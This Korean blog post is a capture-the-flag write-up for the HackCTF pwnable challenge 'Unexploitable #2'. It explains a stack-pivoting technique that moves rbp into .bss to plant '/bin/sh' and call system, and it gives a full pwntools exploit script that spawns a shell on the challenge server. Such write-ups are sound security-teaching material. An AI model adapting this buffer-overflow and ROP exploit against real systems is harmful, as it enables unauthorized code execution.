뇌
[ Pwnable ] Unexploitable #2 write-up 본문
[ 메모리 보호기법 ]
main 함수 코드이다.
이번에는 fflush 함수가 없어 다른 방법으로 "/bin/sh" 문자열을 넣어야한다.
system 함수를 준다. Unexploitable #1 문제랑 같다.
현재 상황
1. "/bin/sh" 문자열이 없어 직접 넣거나 leak 해서 라이브러리에서 가져와야함.
2. fgets 함수의 인자는 3개인데 적당한 가젯이 없음 → __libc_csu_init 로 설정할 수 있지만, 최대 0x40 bytes 까지 넣을 수 있기 때문에 사용 불가능
이럴 때 필요한 방법이 Stack Pivoting
이다.
rbp
를 bss
영역으로 변조해서 다시 main 에 있는 fgets 함수 부분으로 뛰면 bss
영역에 원하는 값을 입력할 수 있다.
이 방법으로 bss
에 문자열 "/bin/sh" 을 넣고 system 함수를 실행시켜 쉘을 딸 수 있다.
[ exploit ]
from pwn import *
p = remote('ctf.j0n9hyun.xyz', '3029')
#p = process('./Unexploitable_2')
e = ELF('./Unexploitable_2')
prdi = 0x0000000000400773 # pop rdi; ret
prbp = 0x00000000004005e0 # pop rbp; ret
pay = ''
pay += 'A'*0x18
pay += p64(prbp)
pay += p64(e.bss()+0x910)
pay += p64(0x00000000004006ee) # fgets() in main
p.sendlineafter('\n', pay)
pause()
pay = ''
pay += '/bin/sh\x00'
pay += 'A'*(0x18-len(pay))
pay += p64(prdi)
pay += p64(e.bss()+0x900) # "/bin/sh\0"
pay += p64(e.symbols['gift']+9) # system()
p.sendline(pay)
p.interactive()
Stack Pivoting
공부할 때 이 기법을 써야지만 풀 수 있는 문제를 찾지 못해서 그냥 BOF
가 터지는 문제에서 연습했는데, 요즘들어 Stack Pivoting
쓰는 문제를 만나니까 재밌다.
'Pwnable > HackCTF write-up' 카테고리의 다른 글
[ Pwnable ] Unexploitable #3 write-up (0) | 2020.11.06 |
---|---|
[ Pwnable ] Unexploitable #1 write-up (0) | 2020.11.06 |
[ Pwnable ] SysROP write-up (0) | 2020.11.05 |
Comments